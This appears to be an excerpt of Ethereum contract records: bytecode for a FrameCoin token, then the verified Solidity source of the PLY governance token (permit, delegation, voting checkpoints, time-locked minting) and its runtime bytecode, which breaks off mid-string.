0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd146102165780632ff2e9dc1461029b578063313ce567146102c65780633f4ba83a146102f75780635c975abb1461030e578063661884631461033d57806370a08231146103a25780638456cb59146103f95780638da5cb5b1461041057806395d89b4114610467578063a9059cbb146104f7578063d73dd6231461055c578063dd62ed3e146105c1578063f2fde38b14610638575b600080fd5b34801561010257600080fd5b5061010b61067b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b4565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b506102006106e4565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106ee565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b0610720565b6040518082815260200191505060405180910390f35b3480156102d257600080fd5b506102db610731565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030357600080fd5b5061030c610736565b005b34801561031a57600080fd5b506103236107f6565b604051808215151515815260200191505060405180910390f35b34801561034957600080fd5b50610388600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610809565b604051808215151515815260200191505060405180910390f35b3480156103ae57600080fd5b506103e3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610839565b6040518082815260200191505060405180910390f35b34801561040557600080fd5b5061040e610881565b005b34801561041c57600080fd5b50610425610942565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047357600080fd5b5061047c610968565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bc5780820151818401526020810190506104a1565b50505050905090810190601f1680156104e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050357600080fd5b50610542600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109a1565b604051808215151515815260200191505060405180910390f35b34801561056857600080fd5b506105a7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d1565b604051808215151515815260200191505060405180910390f35b3480156105cd57600080fd5b50610622600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a01565b6040518082815260200191505060405180910390f35b34801561064457600080fd5b50610679600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a88565b005b6040805190810160405280600981526020017f4672616d65436f696e000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156106d257600080fd5b6106dc8383610be0565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561070c57600080fd5b610717848484610cd2565b90509392505050565b601260ff16600a0a630fcb94400281565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561079257600080fd5b600360149054906101000a900460ff1615156107ad57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561082757600080fd5b610831838361108c565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108dd57600080fd5b600360149054906101000a900460ff161515156108f957600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f465241430000000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156109bf57600080fd5b6109c9838361131d565b905092915050565b6000600360149054906101000a900460ff161515156109ef57600080fd5b6109f9838361153c565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ae457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610b2057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d0f57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d5c57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610de757600080fd5b610e38826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ecb826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f9c82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561119d576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611231565b6111b0838261173890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561135a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113a757600080fd5b6113f8826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461173890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061148b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006115cd82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600082821115151561174657fe5b818303905092915050565b6000818301905082811015151561176457fe5b809050929150505600a165627a7a7230582073513ee680af671596d8dbf2e03cd28a9a5db87904a954b5d8d0fafebdeb9fc00029
|
{"success": true, "error": null, "results": {}}
| 4,123 |
0x7cc183af8d90015e5aa935a5240be1c2b367b877
|
/**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
pragma solidity 0.8.11;
contract Ply {
address public governance;
address public pendingGovernance;
uint256 public createdAt;
/// @notice EIP-20 token name for this token
string public constant name = "PLY";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "PLY";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Initial number of tokens in circulation
uint private constant INITIAL_SUPPLY = 10_000_000_000e18; // 10 billion PLY
/// @notice Total number of tokens in circulation
uint public totalSupply;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/// @notice Event for transfering Governance to a new address
event TransferGovernance(address newGovernance);
/// @notice Event for claiming Governance
event ClaimGovernance(address newGovernance);
modifier onlyGovernance() {
require(governance == msg.sender, "Caller is not governance");
_;
}
/**
* @notice Construct a new PLY token
* @param account The initial account to grant all the tokens and Governance of the contract
*/
constructor(address account) {
governance = account;
balances[account] = uint96(INITIAL_SUPPLY);
totalSupply = INITIAL_SUPPLY;
createdAt = block.timestamp;
emit Transfer(address(0), account, INITIAL_SUPPLY);
}
/**
* @notice Transfer Governance to a new owner address
*/
function transferGovernance(address newGovernance) external onlyGovernance {
pendingGovernance = newGovernance;
emit TransferGovernance(newGovernance);
}
/**
* @notice Claim Governance to the pending owner address
*/
function claimGovernance() external {
require(msg.sender == pendingGovernance, "Wrong governance");
governance = pendingGovernance;
pendingGovernance = address(0);
emit ClaimGovernance(governance);
}
/**
* @notice Mint Ply to an account, could only be done by governance address after at least 1 year
* @param account The account to receive the Ply tokens
* @param amount The amount to be minted
*/
function mintPly(address account, uint96 amount) external onlyGovernance {
require(block.timestamp > createdAt + (1 days) * 365, "Must be after 1 year");
balances[account] = add96(balances[account], amount, "Ply::mintPly: new account balance overflows");
totalSupply = add96(uint96(totalSupply), amount, "Ply:mintPly: total supply overflows");
_moveDelegates(address(0), delegates[account], amount);
emit Transfer(address(0), account, amount);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == type(uint256).max) {
amount = type(uint96).max;
} else {
amount = safe96(rawAmount, "Ply::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == type(uint256).max) {
amount = type(uint96).max;
} else {
amount = safe96(rawAmount, "Ply::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Ply::permit: invalid signature");
require(signatory == owner, "Ply::permit: unauthorized");
require(block.timestamp <= deadline, "Ply::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Ply::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Ply::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != type(uint96).max) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Ply::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Ply::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Ply::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "Ply::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) external view returns (uint96) {
require(blockNumber < block.number, "Ply::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Ply::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Ply::_transferTokens: cannot transfer to the zero address");
require(dst != address(this), "Ply::_transferTokens: cannot transfer to the token address");
balances[src] = sub96(balances[src], amount, "Ply::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Ply::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Ply::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Ply::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Ply::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n <= type(uint32).max, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n <= type(uint96).max, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal view returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101b95760003560e01c8063775e9ce4116100f9578063cf09e0d011610097578063dd62ed3e11610071578063dd62ed3e14610469578063e7a324dc146104ab578063f1127ed8146104d2578063f39c38a01461053a57600080fd5b8063cf09e0d01461043a578063d38bfff414610443578063d505accf1461045657600080fd5b806395d89b41116100d357806395d89b41146101be578063a9059cbb14610401578063b4b5ea5714610414578063c3cda5201461042757600080fd5b8063775e9ce4146103a3578063782d6fe1146103b65780637ecebe00146103e157600080fd5b8063313ce567116101665780635c19a95c116101405780635c19a95c146103195780635d36b1901461032e5780636fcfff451461033657806370a082311461037157600080fd5b8063313ce567146102ab578063587cde1e146102c55780635aa6e6751461030657600080fd5b806320606b701161019757806320606b701461024a57806323b872dd1461027157806330adf81f1461028457600080fd5b806306fdde03146101be578063095ea7b31461021057806318160ddd14610233575b600080fd5b6101fa6040518060400160405280600381526020017f504c59000000000000000000000000000000000000000000000000000000000081525081565b6040516102079190611e1d565b60405180910390f35b61022361021e366004611e8e565b61054d565b6040519015158152602001610207565b61023c60035481565b604051908152602001610207565b61023c7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b61022361027f366004611eb8565b610613565b61023c7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b6102b3601281565b60405160ff9091168152602001610207565b6102ee6102d3366004611ef4565b6006602052600090815260409020546001600160a01b031681565b6040516001600160a01b039091168152602001610207565b6000546102ee906001600160a01b031681565b61032c610327366004611ef4565b61075d565b005b61032c61076a565b61035c610344366004611ef4565b60086020526000908152604090205463ffffffff1681565b60405163ffffffff9091168152602001610207565b61023c61037f366004611ef4565b6001600160a01b03166000908152600560205260409020546001600160601b031690565b61032c6103b1366004611f0f565b61083f565b6103c96103c4366004611e8e565b610a30565b6040516001600160601b039091168152602001610207565b61023c6103ef366004611ef4565b60096020526000908152604090205481565b61022361040f366004611e8e565b610cd0565b6103c9610422366004611ef4565b610d0c565b61032c610435366004611f63565b610d8b565b61023c60025481565b61032c610451366004611ef4565b6110f0565b61032c610464366004611fbb565b6111b6565b61023c610477366004612025565b6001600160a01b0391821660009081526004602090815260408083209390941682529190915220546001600160601b031690565b61023c7fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf81565b6105166104e0366004612058565b600760209081526000928352604080842090915290825290205463ffffffff81169064010000000090046001600160601b031682565b6040805163ffffffff90931683526001600160601b03909116602083015201610207565b6001546102ee906001600160a01b031681565b60008060001983141561056857506001600160601b0361058d565b61058a836040518060600160405280602481526020016121c9602491396115d6565b90505b3360008181526004602090815260408083206001600160a01b0389168085529083529281902080546bffffffffffffffffffffffff19166001600160601b03871690811790915590519081529192917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a360019150505b92915050565b6001600160a01b03831660009081526004602090815260408083203380855290835281842054825160608101909352602480845291936001600160601b0390911692859261066b92889291906121c9908301396115d6565b9050866001600160a01b0316836001600160a01b03161415801561069857506001600160601b0382811614155b156107455760006106c283836040518060600160405280603c8152602001612367603c9139611609565b6001600160a01b038981166000818152600460209081526040808320948a168084529482529182902080546bffffffffffffffffffffffff19166001600160601b0387169081179091559151918252939450919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505b610750878783611653565b5060019695505050505050565b610767338261192d565b50565b6001546001600160a01b031633146107c95760405162461bcd60e51b815260206004820152601060248201527f57726f6e6720676f7665726e616e63650000000000000000000000000000000060448201526064015b60405180910390fd5b60018054600080546001600160a01b0383167fffffffffffffffffffffffff000000000000000000000000000000000000000091821681179092559091169091556040519081527f7ce9f0b2f920547bdcee6a4c6760e8545ed1d90004643f66b4872bdba125ba499060200160405180910390a1565b6000546001600160a01b031633146108995760405162461bcd60e51b815260206004820152601860248201527f43616c6c6572206973206e6f7420676f7665726e616e6365000000000000000060448201526064016107c0565b6002546108aa906301e133806120bc565b42116108f85760405162461bcd60e51b815260206004820152601460248201527f4d7573742062652061667465722031207965617200000000000000000000000060448201526064016107c0565b6001600160a01b03821660009081526005602090815260409182902054825160608101909352602b808452610943936001600160601b03909216928592919061233c908301396119cf565b60056000846001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a8154816001600160601b0302191690836001600160601b031602179055506109b160035482604051806060016040528060238152602001612319602391396119cf565b6001600160601b03166003556001600160a01b038083166000908152600660205260408120546109e2921683611a1c565b6040516001600160601b03821681526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6000438210610aa75760405162461bcd60e51b815260206004820152602660248201527f506c793a3a6765745072696f72566f7465733a206e6f7420796574206465746560448201527f726d696e6564000000000000000000000000000000000000000000000000000060648201526084016107c0565b6001600160a01b03831660009081526008602052604090205463ffffffff1680610ad557600091505061060d565b6001600160a01b03841660009081526007602052604081208491610afa6001856120d4565b63ffffffff90811682526020820192909252604001600020541611610b6e576001600160a01b038416600090815260076020526040812090610b3d6001846120d4565b63ffffffff16815260208101919091526040016000205464010000000090046001600160601b0316915061060d9050565b6001600160a01b038416600090815260076020908152604080832083805290915290205463ffffffff16831015610ba957600091505061060d565b600080610bb76001846120d4565b90505b8163ffffffff168163ffffffff161115610c8a5760006002610bdc84846120d4565b610be691906120f9565b610bf090836120d4565b6001600160a01b038816600090815260076020908152604080832063ffffffff8581168552908352928190208151808301909252549283168082526401000000009093046001600160601b031691810191909152919250871415610c5e5760200151945061060d9350505050565b805163ffffffff16871115610c7557819350610c83565b610c806001836120d4565b92505b5050610bba565b506001600160a01b038516600090815260076020908152604080832063ffffffff909416835292905220546001600160601b036401000000009091041691505092915050565b600080610cf5836040518060600160405280602581526020016122bf602591396115d6565b9050610d02338583611653565b5060019392505050565b6001600160a01b03811660009081526008602052604081205463ffffffff1680610d37576000610d84565b6001600160a01b038316600090815260076020526040812090610d5b6001846120d4565b63ffffffff16815260208101919091526040016000205464010000000090046001600160601b03165b9392505050565b604080518082018252600381527f504c59000000000000000000000000000000000000000000000000000000000060209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f970db3404c0b2d2d1e95a7c7533470a8113514b5de2f090d334ceede1c1a284e81840152466060820152306080808301919091528351808303909101815260a0820184528051908301207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08301526001600160a01b038a1660e08301526101008201899052610120808301899052845180840390910181526101408301909452835193909201929092207f19010000000000000000000000000000000000000000000000000000000000006101608401526101628301829052610182830181905290916000906101a20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015610f3e573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610fc75760405162461bcd60e51b815260206004820152602560248201527f506c793a3a64656c656761746542795369673a20696e76616c6964207369676e60448201527f617475726500000000000000000000000000000000000000000000000000000060648201526084016107